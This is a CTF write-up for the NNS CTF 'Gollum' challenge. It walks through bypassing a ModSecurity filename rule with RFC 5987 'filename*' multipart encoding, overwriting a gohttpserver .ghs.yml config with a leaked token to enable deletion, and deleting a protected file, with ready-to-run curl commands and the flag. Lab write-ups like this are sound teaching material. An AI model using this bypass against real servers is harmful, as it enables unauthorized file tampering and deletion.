2025 NNS CTF - Gollum
Challenge Overview
Challenge Name: Gollum
Difficulty: Medium
The goal is to delete my_precious.gif from a web server to trigger the flag generation controlled by file_checker.sh which checks if my_precious.gif exists as a regular file every 3 seconds. However, the web server has normal file deletion, so it must be done a bit more creatively.
Architecture
- nginx (ModSecurity)
- gohttpserver (Go HTTP File Server)
File analysis
file_checker.sh
#!/bin/bash
cd /app/public/
m=0
while :; do # give flag if my precious file is really gone
[[ -f my_precious.gif ]] && m=0 || { ((++m>=3)) && echo "$FLAG" > flag.txt; }
sleep 1
done- Uses
-ftest (checks for regular file existence) - Resets counter
m=0if file exists - Writes flag after 3 seconds of file absence
.ghs.yml (Configuration)
upload: false
delete: false
users:
- token: "in_case_i_ever_need_to_upload_123"
upload: true
delete: false # This prevents deletion!ModSecurity Rule (nginx.conf)
SecRule REQUEST_METHOD "@streq POST" "id:1010,phase:2,deny,status:403,log,chain"
SecRule REQUEST_BODY|ARGS|MULTIPART_FILENAME "(?i)(?:\.ghs\.yml|my_precious\.gif)"- Only blocks POST requests
- Blocks when
.ghs.ymlormy_precious.gifappears in:- Request body
- URL arguments
- Multipart filename
Key Discoveries
Authentication Method
Let's try to authenticate with curl so that we can use more relaxed rules in .ghs.yml meant for users. We know it will work if we are able to upload files to the server since only users are allowed to upload.
Query parameters:
Authorization: Bearer token<-- doesn't work ...?token=in_case_i_ever_need_to_upload_123<-- this works!
Here are code examples for the mentioned query parameters and responses:
# Fails
curl -H "Authorization: Bearer in_case_i_ever_need_to_upload_123" -F "file=@test" URL
# Result: Upload forbidden
# Works
curl -F "file=@test" "URL?token=in_case_i_ever_need_to_upload_123"
# Result: {"destination":"/app/public/test","success":true}Upload Behavior
Uploading to path/file creates a directory path/ and puts file inside it
Cannot directly overwrite existing files by uploading to their path
- Example:
POST /existing_filecreates/existing_file/uploaded_name
So we are able to upload, but still not able to delete files. Now it's time to test a few different methods to either try to modify, overwrite, or move the target file to trigger the flag generation.
Attempted Solutions
1. Direct Deletion (Failed)
curl -X DELETE "URL/my_precious.gif?token=TOKEN"
# Result: Delete forbiddenConfirmed that even authenticated users has delete: false in config
2. Config File Modification (Failed)
Let's try to upload a modified .ghs.yml with delete: true to modify the original one.
ModSecurity Bypass Attempts:
- URL encoding:
%2eghs%2eyml--> Creates directory with encoded name - Double encoding:
%252eghs%252eyml--> Creates directory - Case variation:
.GHS.YML--> Creates directory - Unicode:
.ghs%E2%80%8B.yml--> Creates directory - Filename in multipart:
filename=".ghs.yml"--> 403 Forbidden (ModSecurity block)
All successful uploads create directories instead of overwriting the file
3. File Overwriting (Failed)
Goal: Overwrite my_precious.gif to break file existence check
Attempts:
filename=my_precious.gif--> 403 Forbiddenfilename=my_prec1ous.gif--> 403 Forbiddenfilename=my%5Fprecious.gif--> Createsmy%5Fprecious.gif(encoded name)filename=my%20precious.gif--> Createsmy%20precious.gif(encoded name)
ModSecurity pattern matching catches variations, successful bypasses create wrong filenames
4. Directory Conversion (Failed)
Try to convert my_precious.gif from file to directory
curl -X POST "URL/my_precious.gif?token=TOKEN" -F "file=@test"
# Result: File create open /app/public/my_precious.gif/test: not a directoryCannot upload to existing file path
5. RFC 5987 Filename Encoding (SUCCESS!)
ModSecurity only checks MULTIPART_FILENAME but ignores the RFC 5987 filename* parameter.
A successful payload to make global delete true:
# 1. Upload modified .ghs.yml config
curl -X POST "URL/?token=in_case_i_ever_need_to_upload_123" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-d $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="file"; filename*=UTF-8\'\'%2eghs%2eyml\r\nContent-Type: text/plain\r\n\r\nupload: true\ndelete: true\n\nusers:\n - token: "in_case_i_ever_need_to_upload_123"\n upload: true\n delete: true\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n'Then delete the target file.
# 2. Delete my_precious.gif
curl -X DELETE "URL/my_precious.gif?token=in_case_i_ever_need_to_upload_123"
# Result: SuccessWait for 3 seconds and GET the flag.
# 3. Get flag
curl "URL/flag.txt"Why it works
filename*=UTF-8''%2eghs%2eymlbypassed ModSecurity (.ghs.yml-->%2eghs%2eyml)- Config needed global
delete: true, not just user-level - File deletion triggered flag generation after 3 seconds
- RFC 5987 encoding was the bypass technique
Flag: NNS{sn3aky_little_h0bbits3s_1b4be7189901}